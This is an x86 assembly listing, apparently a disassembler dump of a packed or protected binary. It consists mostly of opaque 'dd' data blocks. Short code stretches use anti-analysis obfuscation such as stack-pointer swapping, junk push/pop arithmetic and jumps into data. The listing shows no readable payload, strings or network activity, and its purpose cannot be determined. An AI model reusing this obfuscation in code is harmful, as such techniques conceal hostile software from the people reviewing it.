dd 92173BBh, 36D4EB61h, 4214C478h, 4EB4BA1Bh, 4C7A62C8h
dd 0C1D53C2h, 28E8B08Fh, 1562098Fh, 576D74F2h, 0E2225EAh
dd 1BBE2592h, 4AE7339Ch, 6FCAAD20h, 2E0E37Ah, 0CA35433h
dd 394349BBh, 271EAD27h, 4CC90846h, 1E67B7FCh, 25131EB3h
dd 5B3199EBh, 17D6504Ah, 6793C81Fh, 81CE04EBh, 0D4E93526h
dd 92000005h, 0E69A03A0h, 8B4D4E4Bh, 0CC940994h, 0A65A4354h
dd 8A910A8Fh, 990019F1h, 0F2E77C04h, 9C3937A9h, 0FCE579FFh
dd 0BFE5A99Fh, 12F9C0F5h, 47DFE4F1h, 9C1EAE2Bh, 61E01485h
dd 3A6376EFh, 0F9F66A94h, 82727C65h, 809B1408h, 0A418DB15h
dd 70E40F88h, 0D6E8E4FDh, 37B63E5Bh, 6C02FCD2h, 0F400846Fh
dd 0AEC2B59Fh, 7AF46C31h, 0A6B8405Dh, 8D74F40Bh, 0ABBA0693h
dd 43DA248Fh, 0E7599856h, 0BAAA494Ch, 9E907B69h, 0CAB29C01h
dd 90FE9FC3h, 73ED0937h, 810FE2FFh, 1C35653Eh, 10E3F06Eh
dd 0DF12879Ch, 0B5B0A4F1h, 0E9847620h, 0C5AF04F0h, 50D5C904h
dd 779E89h, 47ED0000h, 0B543AE2Bh, 1C364211h, 3C1D0716h
dd 894FFA11h, 0A56h, 0A8503000h, 0D0ACE75Bh, 155AF9FDh
dd 8B6B76EBh, 6E851C11h, 0D4DE04C8h, 0D01C3641h, 0B9B426CEh
dd 509E3B30h, 13D1FDA1h, 1C3641A9h, 53C8109Bh, 0A321D9A0h
dd 719CC5FDh, 55C7FCDBh, 0B2372FA1h, 20D31DBAh, 72EB15B9h
dd 52428F67h, 0BF0F8AA7h, 3806F5FFh, 3E31D4ACh, 0D4A94DA3h
dd 1687100Ch, 892E4735h, 3641715Bh, 0AD43651Ch, 18236121h
dd 26FED14Eh, 9A5946D8h, 0ED5FDE16h, 5B656970h, 9F1ED6C3h
dd 5F0E431h, 0A8306D6Ch, 0E7A32BB4h, 35F113B9h, 15E1071Ch
dd 98051A8Eh, 4D48E759h, 0A03D32A6h, 7D67BE51h, 0C739157Ah
dd 45C72AAFh, 577064B1h, 89505106h, 5381h, 2E475200h, 5BD448ABh
dd 0F46C8E3Eh, 258C13E3h, 0D4C15F61h, 65B9B1Dh, 0E7F26B1Eh
dd 0AE2B42B6h, 4059D143h, 6F55D0B1h, 50002F6Eh, 445889h
dd 47370000h, 6723AB2Eh, 36419339h, 9561871Ch, 17849A0Eh
dd 5E6044DCh, 9B1DD4C1h, 6B1E065Bh, 15B6E7F2h, 578D2A47h
dd 1C36416Dh, 0BDD85769h, 0A636BD33h, 1C36411Fh, 0ECEDD726h
dd 894FF9A1h, 1C6h, 0B9150500h, 41E5CF15h, 0BFE11C36h
dd 36419F25h, 0E1159B1Ch, 0E9E5F06Fh, 0BD395CD7h, 31AEC236h
dd 7BEE59Dh, 84A80BF9h, 0FAF9E67Ah, 11FF7E76h, 0A25D0C4h
dd 66310E8Fh, 506A1EAEh, 8032C1DEh, 0C6828B2Bh, 21D51BE2h
dd 3224493h, 4E943815h, 1300DA64h, 41B03E60h, 291853CFh
dd 0BF14745Dh, 0FFF2EF81h, 207D737Dh, 18DBC458h, 0F14488h
dd 625C5013h, 0A123CECBh, 61140055h, 0DFC7D4CDh, 0EAA6819Fh
dd 0B8D6471h, 665F03B7h, 429238h, 8E608613h, 5F78F466h
dd 0A1710F6Fh, 1AE9B99Ch, 4DE153DAh, 0D5487854h, 12922831h
dd 0E454DB1Bh, 0F8C88D77h, 3B4EEE0Fh, 0C638BCBAh, 0B3263DAAh
dd 6932BC40h, 85E184C9h, 198E392h, 0EB9F0000h, 660FB5h
dd 0E5CF1513h, 0E1130065h, 13E305BFh, 0C39B2E6Ch, 233DBF0Bh
dd 69B03EB6h, 9F15035Fh, 69871209h, 7D1A168Ah, 0B9C45820h
dd 124A12Bh, 0C239513h, 10DE6291h, 8E6075EEh, 6E548A3Eh
dd 6A130124h, 0BF31B044h, 4DBB36A3h, 791C17A9h, 0DE9EC87h
dd 0C307CCB8h, 124971Dh, 3ADF9313h, 76447192h, 4DBF37B9h
dd 0DFD3C8D1h, 928561AEh, 5CB9h, 76EB1500h, 2EE48B6Bh
dd 0C307C787h, 41F3D907h, 0C1E71C36h, 41459F35h, 516B1C36h
dd 8C32C1D8h, 36416C56h, 0A846681Ch, 0BC10964Ch, 0A0BD2A42h
dd 0C03FB739h, 36418A30h, 988C991Ch, 0C10DDDD4h, 3641C923h
dd 1A8DDD1Ch, 59286DBCh, 516B638Dh, 425FD0D9h, 777348ACh
dd 0C6h, 0C39B2ED8h, 213DBF0Bh, 2DB739B8h, 1C364187h, 59D81681h
dd 0C103E18Ah, 4EA5302Fh, 2CD024CAh, 2ABCF76h, 0AB23C515h
dd 1BFD2D3h, 985C6603h, 0E8BA719h, 4A57CB8Dh, 0A8819A7h
dd 77841301h, 7966FA8Dh, 9C902A24h, 886CF003h, 0DAF2AAFDh
dd 84150CAEh, 8B80E270h, 7C7E0BD5h, 6D6803E4h, 0EDBD7383h
dd 6C3F9108h, 0F003EDE7h, 6C07E07Ch, 0E8068A69h, 2843DAE4h
dd 98A0D05Dh, 0BEB0566h, 5D479484h, 7E4E0691h, 182E944Ah
dd 842A1C2Dh, 0FE00CC70h, 0F3EE8166h, 7F727C00h, 96BF9FDh
dd 0ED15019Ah, 46D9E3EBh, 824985Bh, 0EE0648Fh, 0A31D11E6h
dd 950C218Ch, 0DD14DA5Eh, 179B675Bh, 3AEBE5E2h, 9B2E13BAh
dd 21BF0BC3h, 1C36419Bh, 1FC5098Fh, 1C364195h, 43E70F91h
dd 0AC2BF9Dh, 223BC515h, 3CB83CB7h, 1F916086h, 53059603h
dd 0F00AC2DFh, 2ED33279h, 858214FEh, 0FD9C956Bh, 0FB8272F6h
dd 0F0335B6Dh, 0DAAE5816h, 102BFEC4h, 0F4FAE7h, 3A36C1B3h
dd 0E478009Dh, 0A852F8FBh, 43C52CB5h, 3432F97Fh, 0D323FDA2h
dd 74E8C159h, 6EB43B3Dh, 628C672Bh, 0EBE30D8Fh, 0B0435ED1h
dd 0D749C82Ch, 42B63D58h, 0DC41B02Dh, 0A2E09B89h, 0A4B84331h
dd 526C623Bh, 0AD2FC2DFh, 0D5398321h, 0AB2DE70Fh, 445DD14Bh
dd 0DC5ADh, 0CD010000h, 0FD5AD17h, 0EF07A9E7h, 47844F50h
dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh
dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h, 289768h
dd 241C8900h, 0C381E389h, 4, 8704EB83h, 525C241Ch, 0C281E289h
dd 4, 8704EA83h, 895C2414h
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push 93C81B5h
mov esi, [esp]
add esp, 4
push 1F49h
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ecx
mov ecx, 8
add ecx, edi
push eax
mov eax, esi
mov [ecx], eax
pop eax
pop ecx
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5464A4
; ---------------------------------------------------------------------------
dd 0ADE5154Dh, 0A44EB018h, 0B8F586F9h, 93C86F2h, 0E0FFC503h
dd 30A87BA6h, 6F3895FEh, 410995E6h, 68453C17h, 3BDF6F71h
dd 1DC2B65Ah, 39782126h, 1CF2957Eh, 38D06390h, 84C9079h
dd 36EDE9h, 7CF12F7Bh, 41DF06CCh, 7B19F9E4h, 2F874B2Eh
dd 6DCE4744h, 331477F2h, 34A24E81h, 4775DAC6h, 6601ED5h
dd 2E4F029Ah, 18751DDAh, 14FF27A0h, 227F435Ah, 0F58A8AFh
dd 5908BD5Bh, 2775244Eh, 733A04EBh, 6DE95C8Ch, 3E000005h
dd 72E6B71Ch, 47B9E2FFh, 68F0AD28h, 42B6E7F0h, 26EDAE2Bh
dd 1DBCB555h, 7663F880h, 20BDB325h, 7069057Bh, 9B49852Bh
dd 12F9B931h, 0AC4E7825h, 25CC28B1h, 43AE2B47h, 5C4158D1h
dd 0CCD54872h, 1DBAB628h, 0D1CE62D6h, 26B3AE22h, 0DF766CBh
dd 1BB8B648h, 0D4CD61DBh, 821F11C7h, 0DCC96719h, 36965841h
dd 0D50BAAC4h, 1C3641EFh, 0CB2BC5EBh, 4E5BD044h, 0A02CC2D7h
dd 420CB6ECh, 0CC121C36h, 1C3641E6h, 0E006BCE2h, 2E9F8D14h
dd 27418146h, 0BE484AAEh, 5DD34DA9h, 89A55B40h, 6C53E110h
dd 711C35F1h, 3697B0A4h, 3489504Ah, 0EA09968Ah, 54E78E66h
dd 0A8000000h, 43AE2B47h, 364211B5h, 1D07161Ch, 4FFA113Ch
dd 0C8675989h, 0BBB226CDh, 322ED01Eh, 2ACA4EA5h, 17Bh
dd 2A474C00h, 5DD044AFh, 233BAD44h, 89A416B6h, 0F85DE410h
dd 0E29ABFA5h, 0EAABCD88h, 3DAF4781h, 1CE4B920h, 0C5379700h
dd 40C42FAAh, 47F4D7B4h, 0A248AB2Eh, 0B10D8DAh, 74ECAB57h
dd 0E20C9063h, 1C859812h, 85120EB0h, 1182F271h, 58622623h
dd 981CD7C0h, 354E804Ah, 23BCB01Ch, 70764CD0h, 58130A84h
dd 6E1C05C1h, 9409E703h, 5D2550CCh, 77DB778Ch, 0BC06DC04h
dd 0B81C35B6h, 0EF4C9008h, 0B53B64BEh, 0F169933Bh, 3F6509E8h
dd 1C360875h, 75816F71h, 8E57AEEh, 6A628C15h, 33BEDB50h
dd 0BF31A8C1h, 2844B837h, 5BD044AFh, 83C861Ch, 0B6381C36h
dd 0D154B938h, 1E8708E3h, 76EF1136h, 0B2EB9363h, 0D5895038h
dd 83h, 77EB15B6h, 0F105876Ah, 0F3E67Fh, 1B16938Ch, 11CF737Eh
dd 1C3641ABh, 0F9F7F99Fh, 221293FAh, 52CBDE57h, 0C628AC47h
dd 8F0A23D5h, 6F558B3Fh, 0A71C3641h, 36B80A8Fh, 55CD3FBEh
dd 59CCAD44h, 2B726Bh, 4F5C8950h, 2B000000h, 6673EB15h
dd 94051C8Eh, 6875EB5Dh, 7B1E1789h, 7F680478h, 0F9F8F6E3h
dd 4F2A1A8Bh, 0BF84708Dh, 558A213Dh, 0F47EAC7Fh, 83FDF9F7h
dd 0DDDFEFEAh, 169A5940h, 472A09DEh, 0B444AF2Ah, 1C364211h
dd 3E1F0518h, 894FFA0Fh, 158h, 28473700h, 0BB36A3BDh, 0C83CB739h
dd 3B834B54h, 0A915B5CEh, 57D61EF6h, 7D08FC69h, 0A7D7F7E2h
dd 4AF481C9h, 5E3BBB14h, 0BCD95668h, 0B043B335h, 0E1A12DE5h
dd 3FB4C47Dh, 0ED6A9603h, 0F2128DB1h, 8E54F8FCh, 1503263Fh
dd 0A11BB335h, 5DE41089h, 316A77EBh, 0CB26B3AFh, 126793Dh
dd 8C788513h, 0D94E65F9h, 0E5F26EF6h, 83368A0Eh, 7A1F14AEh
dd 0F5FBF577h, 0A33C30A8h, 5740DC50h, 0AA37289Ch, 3D5CD547h
dd 100421B6h, 765EAF55h, 5D677D51h, 5713010Dh, 51110ACAh
dd 9214AE07h, 651EA43Ah, 941A1300h, 6572EE60h, 0D63B9238h
dd 402C9285h, 5B000001h, 0BC39B2Eh, 35F4ED5h, 0A824CA15h
dd 79781D16h, 856B6E07h, 0E27EF271h, 816F6A05h, 5963814Dh
dd 4D130124h, 8C3D5D1Dh, 5C920321h, 0E70F8CA2h, 0C5D24E12h
dd 39A6BA2Eh, 46824ABAh, 0D51CBDB4h, 262B9153h, 791F1301h
dd 493C287Dh, 0DBCFCCD5h, 928514B2h, 69B5h, 872E1600h
dd 5BB707C7h, 0C00E8227h, 4AA765h, 57F806C0h, 0FE5FB9Fh
dd 0AB1C35ECh, 0EBF7BDE3h, 0EDF31C35h, 5A60F003h, 8A1C35EBh
dd 7BED0491h, 66FEF5E0h, 11CCAF95h, 9B3F19Dh, 0FD1C35ECh
dd 0DEC61BDBh, 3CB9B12h, 9D3C35C7h, 8C22D256h, 1C35EB56h
dd 7E804C52h, 2B00F4E1h, 863Fh, 0F8718B00h, 8A647DF1h
dd 9B2EC36Ah, 0B33E5BD3h, 0ED0FBF31h, 7896871h, 0B2954BEFh
dd 0A6150368h, 0E37FF100h, 8A696E06h, 2DB3E806h, 0BB49A831h
dd 130117E6h, 1CEFD526h, 0E8BA700h, 0E8F61E3h, 0CC816818h
dd 37ABDEBCh, 0A96134BFh, 5CBA5D25h, 97371EEDh, 0A325BB5Fh
dd 970BD4DEh, 2D43BD11h, 3BF41B0h, 48693F0Ah, 0D251A5BFh
dd 0ADA7C25Eh, 5EE3D01Fh, 6D5B9658h, 9D283420h, 0F5DB09C5h
dd 0E91500D6h, 2EF5D6C7h, 0B30BC39Bh, 32B60F5Fh, 852F7530h
dd 811C359Fh, 0B965915Fh, 0A27A52Bh, 0A279915h, 0E3FE718Fh
dd 8F628C10h, 398011Dh, 0F9F8E17Dh, 4A91D86Bh, 0CCB82540h
dd 57CC2539h, 36A3BC42h, 0E6B739BBh, 6C568C40h, 68BFA96Dh
dd 203CAE46h, 0C62DA8C7h, 0D345AC42h, 0C5B33E5Bh, 85996C58h
dd 0DEE8ABEEh, 465DC06h, 0E48E33CBh, 0AAF3FDF3h, 569D3A36h
dd 1C6Ch, 0B4E89800h, 4389170Ch, 37BFA9FCh, 9F9F11B1h
dd 0CCF6AC20h, 0C8BFA952h, 4F2FCE26h, 0B0154784h, 4653CF41h
dd 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h
dd 32AFC034h, 0C9D04DBFh, 0C685D2Ah, 8900005Bh, 89572404h
dd 4C781E7h, 83000000h, 3C8704EFh, 2C895C24h, 38086824h
dd 0C890000h, 88096824h, 2C8B093Ch, 4C48124h, 83000000h
dd 248904ECh, 24048124h, 4, 8BB5359h, 81000000h, 8A371FC3h
dd 81CB0113h, 8A371FEBh, 5B2B8913h, 51240C8Bh, 0C181E189h
dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835D24h, 0F16AE904h
dd 0B5E6FFF8h, 0BA4E2E8Eh, 76508D28h, 3C8CF4B8h, 0FFC50309h
dd 3E28A2E0h, 0B7429D2Bh, 98C83838h, 66AD4C27h, 4A5CC170h
dd 4ADC0015h, 0FB447D22h, 0B7C25239h, 0B151BE30h, 6EB00371h
dd 558D8D75h, 66093C8Eh, 896758BEh, 3516298Dh, 8E909h
dd 22AA0000h, 18C1F4A7h, 85C7CCD4h, 935287Dh, 7054h, 6298D09h
dd 85C70935h, 9352255h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 79C35545h
dd 307C16C2h, 0AE0522D0h, 219D89CAh, 0FF093501h, 352B11B5h
dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 36D02488h, 4995892Dh, 31093503h, 3523E185h
dd 595FF09h, 0FC09350Dh, 6850Fh, 85310000h, 9351D9Dh, 95FF006Ah
dd 9350829h, 5EEBC08Bh, 143EEAB6h, 355C0E91h, 1A6F3BEAh
dd 0A3E4AF1Dh, 0B813FDE9h, 3A3D33A4h, 7C170BD7h, 26949323h
dd 0B7B32800h, 0F8D9BA99h, 75CEE215h, 0D1BBF57Dh, 26FA9C6Ch
dd 3F5E839Eh, 0E9A13368h, 8AB8C973h, 9A7E50C5h, 0F9E6B835h
dd 95FF120h, 86277B3Ah, 45477C9Bh, 0ACADB1D9h, 0F0ACCC43h
dd 8D8DC27Dh, 93C8F53h, 95BD8960h, 66093517h, 0E7FBDA81h
dd 298D8961h, 6A093516h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 0C71CC353h, 35287D85h
dd 649009h, 6E900h, 70E60000h, 0BCC08025h, 225585C7h, 935h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0EAFDD6C3h, 389F2B33h, 8BC394DEh, 79B5FFD7h
dd 8B09352Ch, 350CFD95h, 95FFF809h, 9350D05h, 2FF9952Bh
dd 6A0935h, 82995FFh, 0C08B0935h, 469B29EBh, 0F4AD0928h
dd 7F463877h, 0F41F6E79h, 57648579h, 0AEFBC577h, 646E9C20h
dd 0C3C38A86h, 397C15CAh, 591A7324h, 0E86ED6AEh, 7, 0BFB5048h
dd 8BA671CBh, 351BF1B5h, 0CF8B5809h, 5A9EC081h, 0BD290000h
dd 9350415h, 68h, 0DE900h, 2EC60000h, 936CEED6h, 0B2A13AAFh
dd 5F38AC54h, 8B0Fh, 34FF0000h, 3820F07h, 66000000h, 895BF78Bh
dd 3521CDB5h, 8EF38109h, 8B3207CEh, 3528CD8Dh, 76C38109h
dd 2909C855h, 3522518Dh, 0EBF38109h, 8161C730h, 8DA36EAh
dd 381C8965h, 9B71BA66h, 30A9952Bh, 0EF830935h, 4FCF8B01h
dd 800F4F4Fh, 6, 1D8D9D09h, 0FF810935h, 0FFFFA62Ch, 15850Fh
dd 8B660000h, 28E9CEh, 0F5990000h, 0BEB437BFh, 7D5E50Dh
dd 89EFDB3Fh, 35055185h, 0FF7CE909h, 0FFBBFFFFh, 69E1F855h
dd 97ECA8E1h, 0F602674h, 8D8D670Ch, 93C9127h, 6BD28156h
dd 5A20803Fh, 16298D89h, 6A0935h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 0C777B0C3h, 35287D85h
dd 5AAC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 0E9C14708h, 8B666053h, 0C1B966C6h
dd 85C761A2h, 9352255h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EC35141h
dd 1269BD89h, 0B5890935h, 9352709h, 0D15B5FFh, 9D8B0935h
dd 9352AC5h, 0D0595FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0C14CC3h, 0BF66527Dh
dd 6A04CAh, 82995FFh, 0C08B0935h, 861B4CEBh, 8AC94537h
dd 0A7CC8CBCh, 988C488Eh, 471AB9EBh, 186A7943h, 0BEC81737h
dd 562E4639h, 0D9F26C1Fh, 41D02500h, 24E45293h, 6385BE7Ch
dd 90714D83h, 618821D2h, 5AFC9F4Fh, 30C62243h, 20CB4C3Ah
dd 0DA32CD13h, 0B71C5848h, 10E8C4D8h, 89000000h, 2A8AA758h
dd 27E2C454h, 0C38C6107h, 8B2B775Dh, 351209B5h, 3CB25809h
dd 6104C081h, 0B58B0000h, 9350EC5h, 181168h, 61958B00h
dd 5B09351Dh, 0F181088Bh, 30DA3074h, 81FAB70Fh, 0DC4550C1h
dd 10E94Ch, 0B5830000h, 0E20B6479h, 44413BB4h, 523A76CFh
dd 0F181E4E5h, 422D5E77h, 0FE4002BAh, 6608892Eh, 0E4BCCE81h
dd 0F124E881h, 0BD8B5B86h, 9352291h, 0F120C081h, 880F5B86h
dd 6, 2B9D8D89h, 0EB830935h, 1C850F01h, 8B000000h, 350599B5h
dd 29E909h, 0FDD70000h, 9EB293A1h, 0DB0183F7h, 69C60D59h
dd 0BAFB5228h, 159715F1h, 0FFFF7BE9h, 2DBDDAFFh, 0AF79EEh
dd 0E1B9301Bh, 8B258F58h, 0C0h, 194h dup(0)
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0D7D2C353h, 770C7F73h, 0FE960h
dd 0D7FC0000h, 0ECED296Dh, 0D43DBD6Ah, 0F917793h, 108D0FB7h
dd 0E9000000h, 0Bh, 758C937Bh, 0E24CE03h, 9DA427B9h, 0BE961FCh
dd 6000000h, 2B0D5CC6h, 0E6218861h, 0F55D3B80h, 8244401h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FFC35646h
dd 94EAE498h, 0BE9A77Fh, 0AD000000h, 58F96E6Bh, 6DEBBC77h
dd 6A582BF5h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0A607C350h, 21AB2B7h, 0AE9F584h
dd 47000000h, 5F1A21F4h, 0ABC17978h, 0FC39DCBh, 198Ah
dd 5E86000h, 0C6000000h, 40226D46h, 7E95Ah, 6F710000h
dd 92F366F0h, 6660616Bh, 9CBAD08Bh, 61373394h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 44C35141h, 0E957BF55h
dd 0Fh, 20CF1E58h, 0ABB7E5F7h, 7760BE31h, 8BDE5354h, 50D981C0h
dd 66569809h, 7990E681h, 28D0Fh, 5B510000h, 666DCE81h
dd 8B664ED5h, 29B866CEh, 0E88166DCh, 8B66009Fh, 6E9D9h
dd 5CF70000h, 4B38A20Ch, 8127DA80h, 0A8C772EEh, 870F36h
dd 0F000000h, 989h, 38F0F00h, 66000000h, 0D180C18Bh, 0DAF281E7h
dd 807D5D68h, 0DA805DE8h, 28A0FBDh, 8B000000h, 0D78160D3h
dd 1CBBC8DCh, 40A6A8BFh, 830F6111h, 14h, 0FE9h, 0F1120600h
dd 0CCC0F0B9h, 94B12EBBh, 37A7FB5Ch, 0BCCE8166h, 0CF816606h
dd 0EE815927h, 0AD2A2Dh, 0CE9h, 3AD3B100h, 3C9EA90Dh, 0F9FC9411h
dd 0F8BF0F6Eh, 0D9B2FA8Bh, 0E820Fh, 9E90000h, 0AD000000h
dd 0CE076ED1h, 2CF32840h, 478FDE81h, 8B665296h, 58A0FF8h
dd 0BB000000h, 147AB903h, 4800Fh, 0BF660000h, 8B66E535h
dd 9EC281F9h, 0B819DB5Ah, 73D1A790h, 0D358D681h, 0C78A336Ah
dd 14E9h, 3226E600h, 0E6BA84E5h, 35E3296Bh, 3F60F617h
dd 9F9FA87Ah, 0EE81660Ch, 0BE66DFD2h, 81666B14h, 525EC2C1h
dd 2890Fh, 61600000h, 0F60605Ah, 83h, 0D2806100h, 0BF0F6182h
dd 8E950DBh, 56000000h, 0CFD3B4DAh, 5A94328Fh, 8FBA6652h
dd 66F85BE5h, 0F6863B8h, 28Dh, 0E934B100h, 5, 7F438DEDh
dd 10E95Ch, 4FBB0000h, 0F7CA349h, 8595B2E8h, 0AA89CD48h
dd 8B66CAA0h, 0AFC881C1h, 0B00CF4F5h, 0FE8B66FEh, 0D164C681h
dd 53F819A4h, 6E8h, 0CFBC3B00h, 664A6DFEh, 5F7E2BB8h, 59F5575Eh
dd 0FF88B66h, 880h, 28E0F00h, 51000000h, 82BB665Ah, 8E954h
dd 4D10000h, 0F27D6044h, 14E92AE0h, 0DA000000h, 4C785CE3h
dd 0EC69881h, 0D286FC0Bh, 0B8496207h, 0E9B6B60Ah, 11h
dd 0A07D2ECFh, 0B64F02A7h, 68A796A1h, 0D582AF4Bh, 18E0FBEh
dd 0FC000000h, 0E9F6BF0Fh, 0Dh, 9DE3516Ah, 2EE8FB4Fh, 0DAAFB380h
dd 0C180F8A3h, 0BE936h, 0F0530000h, 8A76DF5Ah, 0C2DB3453h
dd 5E930h, 48EA0000h, 8137C9C8h, 0CD804ECBh, 0A461B84Eh
dd 60F90062h, 11E9h, 0D98F3C00h, 0D7905C7Bh, 8065A1h, 9AA63082h
dd 14E9224Dh, 29000000h, 0FD2BD91Fh, 660C60ADh, 6404F117h
dd 8C43ECF4h, 6188E805h, 9922F381h, 810F1D5Dh, 3, 0E924F280h
dd 0Dh, 7A038179h, 0A14D33B4h, 0B7C260C3h, 0D2BF0F2Eh
dd 66F7BF0Fh, 0BB08E981h, 53696FBFh, 81665706h, 5A9F33C8h
dd 0B86660F8h, 92BF3702h, 616F7876h, 0D059B866h, 60DEBF0Fh
dd 6652D78Bh, 6159CA8Bh, 0BB66CE8Ah, 0D18B4684h, 850Fh
dd 0DE800000h, 8B4EB4A6h, 816660C8h, 6023F2E8h, 800Fh
dd 0BB660000h, 61614440h, 18F08056h, 0BD39BF5Bh, 816629DAh
dd 0E8FB47CBh, 0Bh, 3C862D4h, 334E99F3h, 0FCBB14Fh, 0F5FDFBFh
dd 388h, 5AF95200h, 1532F9B9h, 0F3BF0F31h, 6FE6B966h, 53DF8B66h
dd 59F8BF0Fh, 0DE8F9h, 1F460000h, 5FE20C1Ch, 74FEC470h
dd 0E92E477Fh, 10h, 639E8680h, 94A4BB92h, 4955C601h, 1374F2A9h
dd 0FE95Fh, 0E21B0000h, 0E31A9DA4h, 0AD8F501Ch, 203243EAh
dd 0C9816630h, 890F6A12h, 0Bh, 6E9h, 8B3D4A00h, 606A070Ah
dd 8945BA66h, 0FC615B57h, 0F28B5660h, 0B050615Ah, 9E95B4Fh
dd 48000000h, 0A61DDF2h, 3F767AB5h, 0CAB0F18Bh, 8B665760h
dd 8B6659FAh, 0F28061FEh, 6860FC0h, 81000000h, 6D359AE7h
dd 0EE91Bh, 0D9920000h, 99EBB860h, 6FFA77D6h, 0C9B7E3E3h
dd 93D18166h, 0CBB70F55h, 0DD80D78Bh, 11E90Eh, 0B62A0000h
dd 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0FBE3BBBh, 0CA8ACEBFh
dd 4810Fh, 0BB660000h, 0D181E89Ch, 1A90961Fh, 9E9h, 605CAB00h
dd 0EF1CF025h, 0FF9E162h, 0C2BBD8B7h, 66174D88h, 81EAC881h
dd 0C88BD88Bh, 28E0Fh, 0F28B0000h, 28C0FFCh, 8B000000h
dd 0D9B70FD3h, 80F18B66h, 50528BE8h, 595A5956h, 66D18B66h
dd 666FD7BBh, 0E95908B8h, 7, 0DF84A849h, 66CC4470h, 8A57D68Bh
dd 12E85BEFh, 0A9000000h, 8713F2CEh, 39A79DCBh, 0E4950B6Dh
dd 27A29551h, 128D0F47h, 0E9000000h, 0Dh, 31E2365Fh, 0FFF7BA57h
dd 0F5C19BB1h, 0FE95AF7h, 4000000h, 427A99F7h, 0DEC4500Bh
dd 2F158FC8h, 0F60B9FFh, 581h, 0E148BE00h, 0F18B234Bh
dd 8E95361h, 98000000h, 0DE89B9C8h, 5A1DE0BBh, 8BD9BF0Fh
dd 0D9BF0FFAh, 8F0Fh, 25BE0000h, 0E938B28Eh, 12h, 7F9AE827h
dd 559D016Dh, 0D4BA621Eh, 0CBE2C026h, 830F196Eh, 3, 0FCBB70Fh
dd 8Bh, 0DBBF0F00h, 0E9D38B66h, 13h, 75C79E82h, 63320C4Ch
dd 2EC42046h, 170830E4h, 0FA23353h, 38Eh, 0D2B70F00h, 0C3B70F50h
dd 0C1EF815Ah, 0BF05837Ah, 10F8FBA3h, 8AE0CD80h, 0E158B9F1h
dd 66F812E9h, 890FC38Bh, 5, 74F68166h, 0E9CA8BE4h, 0Ch
dd 39951EBEh, 862D45E3h, 0A978AFE1h, 10E8h, 0EA27CF00h
dd 0F1EC42F5h, 874D173h, 5866F78Bh, 65BB665Ah, 0E98059A9h
dd 5850FCFh, 0BF000000h, 1CD76F2Bh, 0E181EFB5h, 23C228A2h
dd 0F78E480h, 66F5D6BFh, 0B7E8B4BFh, 8A0F55h, 66000000h
dd 2FFAE081h, 8DD8B960h, 0D8815463h, 6FBC8A96h, 0DEB70F61h
dd 0E9F08B66h, 0Ah, 0A14268E8h, 0B942106Ah, 0B966C5E3h
dd 830F137Ch, 13h, 0EE9h, 0C2147100h, 0D5C3C4E3h, 1008A3F5h
dd 0B6339350h, 4890FE2h, 66000000h, 66D639B9h, 1A6DCF81h
dd 7D0ADB81h, 8166096Eh, 8BDD69EEh, 0ACBB66CAh, 8B0F5674h
dd 2, 8A5B6160h, 0D98B50EFh, 0BE95Bh, 0B9660000h, 0AB5D4F0Fh
dd 123A3627h, 5E99Dh, 24300000h, 66D4B6F8h, 4147C381h
dd 96C18166h, 665FB0C6h, 6D6AE681h, 0C830Fh, 7E90000h
dd 0B5000000h, 6A659382h, 0E96077FCh, 6, 0F02E711h, 0BE90A9Eh
dd 0B3000000h, 0DF96A9B5h, 7A5886D2h, 0F61DF3Bh, 1E8Bh
dd 18810F00h, 0E9000000h, 13h, 0B809610h, 6B55D81Eh, 0AA351CF6h
dd 0C811E8C4h, 0E8ED2268h, 0Dh, 0CFAD9215h, 8C9BB6B9h
dd 0A833A11Dh, 0D4C1815Eh, 5A595C4Bh, 977C37BEh, 0FE972h
dd 0F3600000h, 2D9CF564h, 6070FB77h, 4A72CCE9h, 0FE910h
dd 0F89C0000h, 8BB4727Eh, 55CB5FE3h, 4290C1BCh, 1880F39h
dd 0F5000000h, 7D75E681h, 8E96B80h, 44000000h, 0F8367551h
dd 668B19C8h, 0D98BD88Bh, 0D8B0Fh, 8E90000h, 0AC000000h
dd 0FDF5A719h, 66628587h, 0BB8D07BBh, 51349B29h, 0E800Fh
dd 9E90000h, 9C000000h, 444528A2h, 59268F03h, 19810Fh
dd 10E80000h, 0C8000000h, 10D709D2h, 0B4686A29h, 0B05777A9h
dd 804841D7h, 0F5E4AC1h, 158Ch, 10E900h, 0FBB00000h, 562DD5ABh
dd 64756FDCh, 66663D47h, 60604919h, 1C42C281h, 61601E4Fh
dd 0DD806161h, 0F38B6634h, 11E960h, 0B9E80000h, 1E4BE969h
dd 8E93BD98h, 30F667DCh, 6143CD8Ah, 0D8B78BB4h, 6E9h, 0C4F4FC00h
dd 0E9B34C82h, 0Eh, 11D1A6C9h, 0AB51A57h, 0E9CEAE81h, 66577E32h
